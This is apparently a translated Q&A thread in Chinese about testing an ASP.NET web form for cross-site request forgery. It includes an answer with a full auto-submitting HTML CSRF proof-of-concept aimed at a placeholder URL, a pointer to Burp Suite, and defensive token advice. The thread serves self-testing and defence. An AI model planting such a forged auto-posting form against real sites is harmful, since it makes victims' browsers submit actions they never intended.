如何在Asp.Net Web应用程序中测试CSRF攻击?

时间:2014-07-01 12:58:13

标签: c# html asp.net csrf

您好我是Web应用程序安全新手。

我想为同样的目的测试我的应用程序。

我有一个表单,其中包含一些字段和提交按钮。

所以用户X登录后他提交了表单,现在我想知道黑客如何攻击我的应用程序。

我看过我需要发布我的aspx页面的html代码。但我不知道如何使用html格式填写不正确的数据来发布表单。那么有什么工具可以测试吗? 或者如果使用我的页面的html,我该如何测试呢?

3 个答案:

答案 0 :(得分:0)

我相信你问的是如何测试跨站点防伪而不是实际防御它。作为一个例子,网上有很多关于防御它的信息(http://blog.stevensanderson.com/2008/09/01/prevent-cross-site-request-forgery-csrf-using-aspnet-mvcs-antiforgerytoken-helper/)。

如何测试您当前是否正在对此进行防御的一个示例是登录您的网站,然后打开包含html的另一个选项卡,其中包含要发布到该网站的表单。由于您的会话由浏览器维护,如果您没有提供任何防御机制,网站将授权发布请求。

以下是您将如何进行此操作的示例。

<html xmlns="http://www/w3/org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title></title>
</head>
<body onload="document.getElementById('attacker').submit()">
     <form id="attacker" action="https://website-in-question.com/Action" method="post">
        <input name="FirstName" value="SomeFirstName" />
        <input name="LastName" value="SomeLastName" />
        <input name="EmailAddress" value="SomeFirstName.SomeLastName@Hack.com" />
    </form>
    <p>CROSS SITE REQUEST FORGERY IN PROGRESS....</p>
</body>

此页面中的JavaScript用于演示最终用户可能甚至不知道是否有任何数据代表他们发布,因为表单可能会被隐藏。

您需要使用POST方法的URL替换action属性的内容。

答案 1 :(得分:0)

我找到的最好的工具是:https://portswigger.net/burp/

它具有可以拦截请求并生成CSRF的功能。有关此功能的详细信息,请访问:https://support.portswigger.net/customer/portal/articles/1965674-using-burp-to-test-for-cross-site-request-forgery-csrf-

答案 2 :(得分:-1)

如果是ASP.NET MVC应用程序。我建议您使用AntitForgeryToken。如果它不是ASP.NET MVC那么 在View State中保存会话ID,然后viewstate将像表单标记一样。通过使用一些加密或签名机制保护sessionid并使用SSL来防止嗅探。最后,您只需要验证您的sessionid和ViewState